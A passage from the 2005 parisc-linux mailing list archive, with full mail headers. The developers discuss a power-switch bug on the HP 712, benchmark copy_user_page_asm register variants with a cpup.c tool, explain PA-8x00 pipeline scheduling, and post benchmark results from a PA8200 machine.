	id 842F93BE62; Mon,  3 Jan 2005 14:18:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B2FA3BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 14:18:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20837-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jan 2005 14:18:39 -0700 (MST)
Original-Received: from otto2.isd-holland.nl (otto2.isd-holland.nl [62.221.254.31])
	by free.linux.hp.com (Postfix) with ESMTP id 7E3E43BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 14:18:39 -0700 (MST)
Original-Received: from router.mbse.dds.nl (62-221-196-62.dsl.fiberworld.nl
	[62.221.196.62])
	by otto2.isd-holland.nl (Postfix) with ESMTP id 4DBFD36406E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jan 2005 22:18:40 +0100 (CET)
Original-Received: by router.mbse.dds.nl (Postfix, from userid 10)
	id 4A0784878; Mon,  3 Jan 2005 22:18:36 +0100 (CET)
Original-Received: from seaport.mbse.ym
	by router.mbse.ym (AvMailGate-2.0.1) id 26775-6B60564E;
	Mon, 03 Jan 2005 22:18:36 +0100
User-Agent: KMail/1.6.2
In-Reply-To: <Pine.LNX.4.21.0501031142060.31807-100000@hal.pp.fishpool.fi>
Content-Disposition: inline
X-AntiVirus: OK! AntiVir MailGate Version 2.0.1; AVE: 6.29.0.5; VDF: 6.29.0.45
	at router has not found any known virus in this email.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22249

Op maandag 3 januari 2005 10:42, schreef Martin-=C9ric Racine:
> On Mon, 3 Jan 2005, Matthew Wilcox wrote:
> > On Thu, Dec 30, 2004 at 04:40:38PM +0200, Martin-=C9ric Racine wrote:
> > > On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:
> > > > On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:
> > > > However, support for the front-panel LEDs and switches is BROKEN in
> > > > 2.6.10-pa1: when I press the power switch, it kills the AC power
> > > > instead of sending a signal to the kernel to shut itself down.  OUC=
H!
> > > >  The power/status LED is also off.
> > >
> > > This is still broken in 2.6.10-pa2 as well.
> >
> > On which machine?  It works fine on my 725 and c3600.
>
> 712.

On my 712/80 with a 2.6.9-pa1 it works fine.


=2D-=20

 Greetings, Michiel Broek

mbroek@mbse.dds.nl  or  Fidonet 2:280/2802 to Michiel Broek.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 13:09:55 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <20050104200955.GB28074@colo.lackof.org>
References: <20050103061910.GJ15061@colo.lackof.org>
	<200501040851.19806.mszick@wolfbutter.com>
	<20050104160227.GA28074@colo.lackof.org>
	<200501041142.44400.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623638 12156 80.91.229.3 (22 Nov 2014 02:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 20:10:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 04 Jan 2005 21:10:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8142D3BE6E; Tue,  4 Jan 2005 13:10:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01760-10; Tue, 4 Jan 2005 13:10:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C80B23BE70; Tue,  4 Jan 2005 13:10:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0DB43BE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 13:09:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02079-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 13:09:58 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8F9FB3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 13:09:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D5D28298056;
	Tue,  4 Jan 2005 13:09:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32246-08; Tue, 4 Jan 2005 13:09:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1ED0529803F; Tue,  4 Jan 2005 13:09:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200501041142.44400.mszick@wolfbutter.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22250

On Tue, Jan 04, 2005 at 11:42:44AM -0600, Michael S. Zick wrote:
> > I don't. If 6-regs works better then I use it.
> Agreed,
> If you can find a difference now.

I can using CR16. That's what I was proposing before.

> I was speaking of the other case:
> If they appear to work the same now.

Yes, but I don't need an analyzer to guess at what might be causing
the bottleneck. The "Linux Way" is to keep trying different variants
until we find a better one (or get fed up). I know using an analyzer
is more precise _once_ it's setup.

Joel,
I've hacked your cpup1.c and committed it build-tools.
Please send me diffs in the future.
You would have noticed that you reference %r26 directly in two
of the asm statements.

The new version implements most of what I was proposing:
o use CR16 to measure copy_user_page_asm()
o run multiple iterations to avoid page faults/TLB activity

o drops -DV1 code (4ld/4st in 64-bit case)
o implements -DUSE6REGS
o uses 64MB src/dest buffer

grundler <536>gcc -O2 -o cpup0 cpup.c
grundler <537>gcc -march=2.0 -DLP64 -o cpup2 cpup.c
grundler <538>gcc -march=2.0 -DLP64 -DDUSE6REGS -o cpup3 cpup.c
grundler <539>./cpup0
          First Loop : min  14393  avg  17156  median  16219
         Later Loops : min   9696  avg  10819  median  10432
grundler <540>./cpup2
          First Loop : min  11381  avg  14120  median  13168
         Later Loops : min   5844  avg   7695  median   7595
grundler <541>./cpup3
          First Loop : min  11441  avg  14102  median  13167
         Later Loops : min   5898  avg   7702  median   7594

This might be useful for measuring cost of TLB insertion too.

Please verify the code is generating the stats properly before
taking the above numbers as The Truth.
(650 Mhz A500 running SMP 2.6.10-rc3-pa6)

I also noticed that even this gets different results on the first
vs successive invocations:
grundler <545>./cpup3
          First Loop : min  11277  avg  17749  median  13143
         Later Loops : min   5806  avg   8156  median   7589
grundler <546>./cpup3
          First Loop : min  11217  avg  14250  median  13154
         Later Loops : min   5904  avg   7726  median   7604
grundler <547>./cpup3
          First Loop : min  11528  avg  14147  median  13162
         Later Loops : min   5877  avg   7722  median   7600
grundler <548>./cpup3
          First Loop : min  11548  avg  14202  median  13177
         Later Loops : min   5866  avg   7727  median   7600
grundler <549>./cpup3
          First Loop : min  11577  avg  14150  median  13173
         Later Loops : min   5877  avg   7729  median   7607

Ignoring the first invocation, the results are quite precise: +- 4/7725

Adding another "ldw 192(%0), %%r0" to the bottom of the loop
reduced that even a bit more. We only prefectch one of the
two cachelines processed in the loop before.
The 5th run output was:
grundler <561>./cpup3 
          First Loop : min   9831  avg  12950  median  12000
         Later Loops : min   5790  avg   7529  median   7375

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 16:39:20 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20050104233920.GB2857@colo.lackof.org>
References: <20050103061910.GJ15061@colo.lackof.org>
	<20050104061342.GE18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623638 12161 80.91.229.3 (22 Nov 2014 02:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 23:39:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 05 Jan 2005 00:39:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B4593BE6F; Tue,  4 Jan 2005 16:39:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03635-07; Tue, 4 Jan 2005 16:39:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C2ECB3BE72; Tue,  4 Jan 2005 16:39:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 958BD3BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 16:39:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03635-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 16:39:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 80FBF3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 16:39:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CCA24298056;
	Tue,  4 Jan 2005 16:39:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03712-06; Tue, 4 Jan 2005 16:39:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 96B1D29803F; Tue,  4 Jan 2005 16:39:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050104061342.GE18497@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22251

On Mon, Jan 03, 2005 at 10:13:42PM -0800, Randolph Chung wrote:
> i'd like to see numbers too, but i doubt you will see any.

I hope the new cpup.c will help us provide precise values.


[ The following is more intended for folks like Joel than Randolph.
 I'm pretty sure Randolph understands how CPUs work. ]

>  it appears
> that at least newer PA cpus do a sufficient amount of internal
> instruction reordering that you don't see a difference as long as there
> are enough pending instructions to keep the pipeline busy.

The pipeline on PA-8x00 can load 4 instructions at a time.
How those 4 instructions get executed depend on interlocks (e.g.
register is in still use by previous insn) and if the CPU/mem units are
available.  AFAIK, PA8x00 processors support 2 loads/cycle,
2 stores/cycle, 2 shift+merge ops/cycle, 2 FP Div/cycle, etc. 
"Keeping the pipeline busy" is just as much a function of instruction
scheduling by programmer/compiler as re-ordering by the CPU.
One really needs to keep track of which resources are available.

Anytime a resource is not available, the pipeline "stalls". 
ia64 calls this "bubbles" and the best description I've found
of "bubbles" is in the MySQL perf paper by Philippe Bonnet:
	http://www.gelato.org/resources/bookspapers.php

(or http://www.gelato.org/pdf/mysql_itanium2_perf.pdf)

While parisc might be more primitive in how it deals with "stalls"
than ia64, I expect most of the same principles apply to both when
writing code.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 19:00:43 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200501050000.j0500iKD024978@hiauly1.hia.nrc.ca>
References: <20050104233920.GB2857@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623639 12167 80.91.229.3 (22 Nov 2014 02:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 00:01:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 05 Jan 2005 01:01:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1CCE53BE6A; Tue,  4 Jan 2005 17:01:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04519-06; Tue, 4 Jan 2005 17:01:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D4BF13BE6B; Tue,  4 Jan 2005 17:00:54 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6F3B3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 17:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04505-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 17:00:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 944933BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 17:00:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j0500iD2024979; Tue, 4 Jan 2005 19:00:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j0500iKD024978;
	Tue, 4 Jan 2005 19:00:44 -0500 (EST)
In-Reply-To: <20050104233920.GB2857@colo.lackof.org> from "Grant Grundler" at
	Jan 4, 2005 06:39:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22252

> The pipeline on PA-8x00 can load 4 instructions at a time.
> How those 4 instructions get executed depend on interlocks (e.g.
> register is in still use by previous insn) and if the CPU/mem units are
> available.  AFAIK, PA8x00 processors support 2 loads/cycle,
> 2 stores/cycle, 2 shift+merge ops/cycle, 2 FP Div/cycle, etc. 
> "Keeping the pipeline busy" is just as much a function of instruction
> scheduling by programmer/compiler as re-ordering by the CPU.
> One really needs to keep track of which resources are available.

This is what the GCC machine definitions says:

;; The PA8000 has a large (56) entry reorder buffer that is split between
;; memory and non-memory operations.
;;
;; The PA8000 can issue two memory and two non-memory operations per cycle to
;; the function units, with the exception of branches and multi-output
;; instructions.  The PA8000 can retire two non-memory operations per cycle
;; and two memory operations per cycle, only one of which may be a store.
;;
;; Given the large reorder buffer, the processor can hide most latencies.
;; According to HP, they've got the best results by scheduling for retirement
;; bandwidth with limited latency scheduling for floating point operations.
;; Latency for integer operations and memory references is ignored.
;;
;;
;; We claim floating point operations have a 2 cycle latency and are
;; fully pipelined, except for div and sqrt which are not pipelined and
;; take from 17 to 31 cycles to complete.
;;
;; It's worth noting that there is no way to saturate all the functional
;; units on the PA8000 as there is not enough issue bandwidth.

Comments?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more cpup.c results
Date: Wed, 05 Jan 2005 01:40:56 -0700
Lines: 135
Approved: news@gmane.org
Message-ID: <1104914456.8221.34.camel@beavis>
References: <20050105055412.68E06495698@palinux.hppa>
	<20050105061613.GA12455@colo.lackof.org>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623639 12168 80.91.229.3 (22 Nov 2014 02:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2005 08:42:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx068) with SMTP; 05 Jan 2005 09:42:03 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C90693BE74; Wed,  5 Jan 2005 01:41:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09931-08; Wed, 5 Jan 2005 01:41:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 67FC13BE70; Wed,  5 Jan 2005 01:41:39 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D88D33BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 01:41:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09931-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 5 Jan 2005 01:41:14 -0700 (MST)
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by free.linux.hp.com (Postfix) with ESMTP id 693033BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Jan 2005 01:41:14 -0700 (MST)
Original-Received: from 10.0.0.81 (unknown [10.0.0.81])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 5DCBE2B10C; Wed,  5 Jan 2005 01:41:03 -0700 (MST)
In-Reply-To: <20050105061613.GA12455@colo.lackof.org>
X-Mailer: Evolution 2.0.2 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22253

Grant,

> Can folks try this on PA8000 and PA82000 for me?
> Check /proc/cpuinfo if you aren't sure what you have.

processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8200 (PCX-U+)
cpu MHz         : 200.000000
model           : 9000/782/C200+
model name      : Raven U 200 (9000/780/C200)
hversion        : 0x000059d0
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
bogomips        : 395.26
software id     : 2005736878

> Should be a simple cut/paste of 4 lines to a shell prompt:
> 
> gcc -O2 -o cpup0 cpup.c
> gcc -O2 -march=2.0 -DLP64 -o cpup2 cpup.c
> gcc -O2 -march=2.0 -DLP64 -DUSE6REGS -o cpup3 cpup.c
> for i in 1 2 3 4 5; do echo TEST $i; ./cpup0; ./cpup2; ./cpup3; done

This is on a 64-bit kernel:
$ uname -a
Linux vega 2.6.10-pa3 #1 Sun Jan 2 14:28:36 MST 2005 parisc64 GNU/Linux

TEST 1
          First Loop : min   9990  avg  11444  median  10352
         Later Loops : min   6290  avg   8673  median   8885
          First Loop : min   8758  avg  10370  median   9312
         Later Loops : min   5842  avg   7168  median   7024
          First Loop : min   8701  avg  10277  median   9215
